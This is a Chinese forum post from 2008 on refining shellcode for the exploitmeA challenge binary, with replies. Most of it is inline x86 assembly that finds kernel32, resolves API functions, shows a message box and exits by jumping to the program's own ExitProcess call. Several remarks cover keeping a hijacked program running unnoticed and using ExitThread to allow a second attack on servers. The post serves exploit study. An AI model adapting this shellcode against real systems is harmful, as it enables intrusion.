首页
社区
课程
招聘
[原创]shellcode之小小琢磨
2008-2-27 20:53 9520

[原创]shellcode之小小琢磨

2008-2-27 20:53
9520
【文章标题】: shellcode之小小琢磨
【文章作者】: 安摧
【作者邮箱】: at20042004@163.com
【作者QQ号】: 365188572
【软件名称】: exploitmeA
【下载地址】: pediy
【编写语言】: vc++
【使用工具】: OD,VC98
【操作平台】: winXP
【作者声明】: 只是感兴趣,没有其他目的。失误之处敬请诸位大侠赐教!

本文没有什么东西,只是我在研究exploitme时候的一点心得。文章内容其实很少,所以冠名“小小琢磨”。
高手大致可以飘过。
但是我还是要邀请combojiang大侠阅读一下本文;因为本文是对阁下的文章的改进。
失误之处敬请诸位大侠赐教!
呵呵!!!

昨天在研究看雪exploit me挑战赛中的exploitmeA例子的时候,仔细阅读了一下combojiang的答案。
文章见:http://bbs.pediy.com/showthread.php?t=57558
combojiang的shellcode确实不凡,包括查找kernel32.dll的位置,查找GetProcAddress和MessageBoxA函数的地址,加密解密shellcode.
但是有一个问题,shellcode最终不能使得程序安静的退出!

在文章中,作者构建shellcode的代码如下:
void ShellcodeFunc()
{
unsigned int uLoadLibrary,uGetProcAddress,uKernelBase,uLibHandle;
unsigned int ImageBase,flen;
char *FuncName;

__asm
{
/////////////////////////// // shellcode开始标记,方便截取shellcode,这里没启用
//signature of ShellcodeStart
// _emit 'S'
// _emit 'h'
// _emit 'e'
// _emit 'l'
// _emit 'l'
// _emit 'c'
// _emit 'o'
// _emit 'd'
// _emit 'e'
// _emit 'S'
// _emit 't'
// _emit 'a'
// _emit 'r'
// _emit 't'
////////////////////////////

jmp Start
GetFunc:
mov eax,ImageBase
mov eax,[eax+0x3c]
add eax,ImageBase
mov eax,[eax+0x78]
add eax,ImageBase
mov esi,eax
mov ecx,[eax+0x18]
mov eax,[eax+0x20]
add eax,ImageBase
mov ebx,eax
xor edx,edx
FindLoop:
push ecx
push esi
mov eax,[eax]
add eax,ImageBase
mov esi,FuncName
mov edi,eax
mov ecx,flen
cld
rep cmpsb
pop esi
je Found
inc edx
add ebx,4
mov eax,ebx
pop ecx
loop FindLoop
Found:
add esp,4
mov eax,esi
mov eax,[eax+0x1c]
add eax,ImageBase
shl edx,2
add eax,edx
mov eax,[eax]
add eax,ImageBase
jmp Founded
xor eax,eax
Founded:
ret
}

__asm
{
Start:
push esi
push ecx

xor eax, eax
xor esi, esi
mov esi, fs:[esi + 0x18]
mov eax, [esi+4]
mov eax, [eax - 0x1c]
find_kernel32_base:
dec eax
xor ax, ax
cmp word ptr [eax], 0x5a4d
jne find_kernel32_base

pop ecx
pop esi
mov uKernelBase,eax
mov ImageBase,eax
mov flen,0x0c
call LL1
_emit 'L'
_emit 'o'
_emit 'a'
_emit 'd'
_emit 'L'
_emit 'i'
_emit 'b'
_emit 'r'
_emit 'a'
_emit 'r'
_emit 'y'
_emit 'A'
_emit 0
LL1:
pop eax
mov FuncName,eax
call GetFunc
mov uLoadLibrary,eax

mov flen,0x0E
call LL2
_emit 'G'
_emit 'e'
_emit 't'
_emit 'P'
_emit 'r'
_emit 'o'
_emit 'c'
_emit 'A'
_emit 'd'
_emit 'd'
_emit 'r'
_emit 'e'
_emit 's'
_emit 's'
_emit 0
LL2:
pop eax
mov FuncName,eax
call GetFunc
mov uGetProcAddress,eax

call l1
_emit 'u'
_emit 's'
_emit 'e'
_emit 'r'
_emit '3'
_emit '2'
_emit '.'
_emit 'd'
_emit 'l'
_emit 'l'
_emit 0
l1:
call uLoadLibrary
mov uLibHandle,eax
call l2
_emit 'M'
_emit 'e'
_emit 's'
_emit 's'
_emit 'a'
_emit 'g'
_emit 'e'
_emit 'B'
_emit 'o'
_emit 'x'
_emit 'A'
_emit 0
l2:
push uLibHandle
call uGetProcAddress
push MB_OK | MB_ICONINFORMATION
call l3
_emit 'C'
_emit 'T'
_emit 'S'
_emit 0

l3:
call l4
_emit 'A'
_emit 'n'
_emit 'C'
_emit 'u'
_emit 'i'
_emit 0

l4:
push NULL
call eax
call l5 //我添加的安静退出程序的代码 ①开始
_emit 'E' //调用ExitProcess
_emit 'x'
_emit 'i'
_emit 't'
_emit 'P'
_emit 'r'
_emit 'o'
_emit 'c'
_emit 'e'
_emit 's'
_emit 's'
_emit 0
l5:
push uLibHandle
call uGetProcAddress
push NULL
call eax //①结束

/////////////////////////// //shellcode结束标记,方便截取shellcode
//signature of ShellcodeEnd
_emit 'S'
_emit 'h'
_emit 'e'
_emit 'l'
_emit 'l'
_emit 'c'
_emit 'o'
_emit 'd'
_emit 'e'
_emit 'E'
_emit 'n'
_emit 'd'
//////////////////////////////

}
}

其中红色的代码是我做的修改。
修改的目的是显示标题为CTS,内容为CTS.AnCui的消息框,并且安静退出程序(ExitProcess)。

但是这个时候问题来了,缓冲区总长度为512个字节,可利用的长度为(512-200-4)=308个字节。
而shellcode和解密部分的加起来要有333个字节,不够了!!!

怎么办???

我的解决办法是修改从①开始到①结束位置的代码为:

mov eax,00402005h
jmp eax


跳转到00402005h地址执行。
为什么这样做呢???

用od打开文件exploitmeA,右键->查找->所有模块间调用:
会看到下面两行:
00402005 call dword ptr [<&KERNEL32.ExitProces kernel32.ExitProcess
00402148 call dword ptr [<&KERNEL32.ExitProces kernel32.ExitProcess


在exploitmeA中,00402005位置的代码:
00401FFB |. FF7424 08 push dword ptr [esp+8] ; /ExitCode
00401FFF |. 893D F09A4000 mov dword ptr [409AF0], edi ; |
00402005 |. FF15 28804000 call dword ptr [<&KERNEL32.ExitProces>; \ExitProcess


在这里退出程序。
这下子大家理解了吧。

修改后的shellcode为(修改后shellcode总长度308)
void ShellcodeFunc()
{
unsigned int uLoadLibrary,uGetProcAddress,uKernelBase;
unsigned int ImageBase,flen;
char *FuncName;

__asm
{
///////////////////////////
//signature of ShellcodeStart
// _emit 'S'
// _emit 'h'
// _emit 'e'
// _emit 'l'
// _emit 'l'
// _emit 'c'
// _emit 'o'
// _emit 'd'
// _emit 'e'
// _emit 'S'
// _emit 't'
// _emit 'a'
// _emit 'r'
// _emit 't'
////////////////////////////

jmp Start
GetFunc:
mov eax,ImageBase
mov eax,[eax+0x3c]
add eax,ImageBase
mov eax,[eax+0x78]
add eax,ImageBase
mov esi,eax
mov ecx,[eax+0x18]
mov eax,[eax+0x20]
add eax,ImageBase
mov ebx,eax
xor edx,edx
FindLoop:
push ecx
push esi
mov eax,[eax]
add eax,ImageBase
mov esi,FuncName
mov edi,eax
mov ecx,flen
cld
rep cmpsb
pop esi
je Found
inc edx
add ebx,4
mov eax,ebx
pop ecx
loop FindLoop
Found:
add esp,4
mov eax,esi
mov eax,[eax+0x1c]
add eax,ImageBase
shl edx,2
add eax,edx
mov eax,[eax]
add eax,ImageBase
jmp Founded
xor eax,eax
Founded:
ret
}

__asm
{
Start:
push esi
push ecx

xor eax, eax
xor esi, esi
mov esi, fs:[esi + 0x18]
mov eax, [esi+4]
mov eax, [eax - 0x1c]
find_kernel32_base:
dec eax
xor ax, ax
cmp word ptr [eax], 0x5a4d
jne find_kernel32_base

pop ecx
pop esi
mov uKernelBase,eax
mov ImageBase,eax
mov flen,0x0c
call LL1
_emit 'L'
_emit 'o'
_emit 'a'
_emit 'd'
_emit 'L'
_emit 'i'
_emit 'b'
_emit 'r'
_emit 'a'
_emit 'r'
_emit 'y'
_emit 'A'
_emit 0
LL1:
pop eax
mov FuncName,eax
call GetFunc
mov uLoadLibrary,eax

mov flen,0x0E
call LL2
_emit 'G'
_emit 'e'
_emit 't'
_emit 'P'
_emit 'r'
_emit 'o'
_emit 'c'
_emit 'A'
_emit 'd'
_emit 'd'
_emit 'r'
_emit 'e'
_emit 's'
_emit 's'
_emit 0
LL2:
pop eax
mov FuncName,eax
call GetFunc
mov uGetProcAddress,eax

call l1
_emit 'u'
_emit 's'
_emit 'e'
_emit 'r'
_emit '3'
_emit '2'
_emit '.'
_emit 'd'
_emit 'l'
_emit 'l'
_emit 0
l1:
call uLoadLibrary
call l2
_emit 'M'
_emit 'e'
_emit 's'
_emit 's'
_emit 'a'
_emit 'g'
_emit 'e'
_emit 'B'
_emit 'o'
_emit 'x'
_emit 'A'
_emit 0
l2:
push eax
call uGetProcAddress
push MB_OK | MB_ICONINFORMATION
call l3
_emit 'C'
_emit 'T'
_emit 'S'
_emit 0
l3:
call l4
_emit 'A'
_emit 'n'
_emit 'C'
_emit 'u'
_emit 'i'
_emit 0
l4:
push NULL
call eax

mov eax,00402005h
jmp eax

///////////////////////////
//signature of ShellcodeEnd
_emit 'S'
_emit 'h'
_emit 'e'
_emit 'l'
_emit 'l'
_emit 'c'
_emit 'o'
_emit 'd'
_emit 'e'
_emit 'E'
_emit 'n'
_emit 'd'
//////////////////////////////

}
}


总结:
在shellcode中,我们要调用的函数一般都是我们手动查找的,但是这个会使用我们大量的可利用缓冲区空间。
这个时候我们可以利用程序中自带的对我们所需要的函数的调用。
使用jmp和call指令,当然call可能更好一点,应为call之后,还可以再返回shellcode部分。

如果call的位置适当,甚至程序不用退出;程序继续新的一轮执行(比如跳转到某处异常处理中),而程序使用者不会觉察到任何异常!!!
大概这篇文章只有上面一段比较重要。
但是,各位看客们鼓励鼓励俺们原创吧。
哈哈


毕设中,繁忙,偷着乐。

【版权声明】: 本文原创于看雪技术论坛, 转载请注明作者并保持文章的完整, 谢谢!

                                                       2008年02月27日 19:51:36

[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。

收藏
点赞7
打赏
分享
最新回复 (10)
雪    币: 247
活跃值: (10)
能力值: ( LV7,RANK:100 )
在线值:
发帖
回帖
粉丝
安摧 2 2008-2-27 21:06
2
0
上传一下附件,大家可以体验一下。
上传的附件:
雪    币: 485
活跃值: (12)
能力值: ( LV9,RANK:490 )
在线值:
发帖
回帖
粉丝
petnt 12 2008-2-27 21:09
3
0
学习一下,先!
雪    币: 768
活跃值: (1521)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
tjszlqq 1 2008-2-27 21:16
4
0
楼主实在是太强了!顶!
雪    币: 163
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
mocha 2008-2-27 21:42
5
0
潜水了两年多,天天看强人们发表东西,呵呵,又学到些东西!
雪    币: 321
活跃值: (271)
能力值: ( LV13,RANK:1050 )
在线值:
发帖
回帖
粉丝
combojiang 26 2008-2-27 23:18
6
0
好,感谢安摧兄弟把这个问题解决得如此巧。呵呵,我当时为了凑字节数,强行把你红色标记的代码给删除了。明显的顾头没顾尾。
雪    币: 4082
活跃值: (3077)
能力值: ( LV12,RANK:230 )
在线值:
发帖
回帖
粉丝
scz 5 2008-2-28 09:27
7
0
> 这个时候我们可以利用程序中自带的对我们所需要的函数的调用。
> (比如跳转到某处异常处理中),而程序使用者不会觉察到任何异常

第一条在实际中不是因为那些攻击者没想到要节省空间,一般他们首先追求高可移植性,就是所
谓"通用"。像你那样处理,他们的shellcode的针对性就增大了。而像这些经常搞攻击的人,到
了最后是懒得微调这种地方,套用成熟的攻击模板,熟练工种带来的审美疲劳都决定了这一点。

第二条,一般在攻击Windows时,现在多用ExitThread(),不用ExitProcess(),因为大量
victim是有SEH保护的,可以缓过劲来,至少可以暂时缓过劲来,对于那些个服务端程序,尤
为明显。这样就给了二次攻击的机会。
雪    币: 247
活跃值: (10)
能力值: ( LV7,RANK:100 )
在线值:
发帖
回帖
粉丝
安摧 2 2008-2-28 11:38
8
0
互相学习,共同进步嘛。
其实大侠您一直是我比较佩服的人,呵呵。
雪    币: 247
活跃值: (10)
能力值: ( LV7,RANK:100 )
在线值:
发帖
回帖
粉丝
安摧 2 2008-2-28 11:39
9
0
呵呵,200%赞同!!!

谢谢指教!!!
雪    币: 239
活跃值: (11)
能力值: ( LV9,RANK:140 )
在线值:
发帖
回帖
粉丝
ufozhyufo 3 2008-4-7 10:44
10
0
很强,非常强.
雪    币: 7651
活跃值: (493)
能力值: ( LV9,RANK:610 )
在线值:
发帖
回帖
粉丝
achillis 15 2008-4-7 17:03
11
0
很强啊。向楼主学习。我也正在学写shellcode
游客
登录 | 注册 方可回帖
返回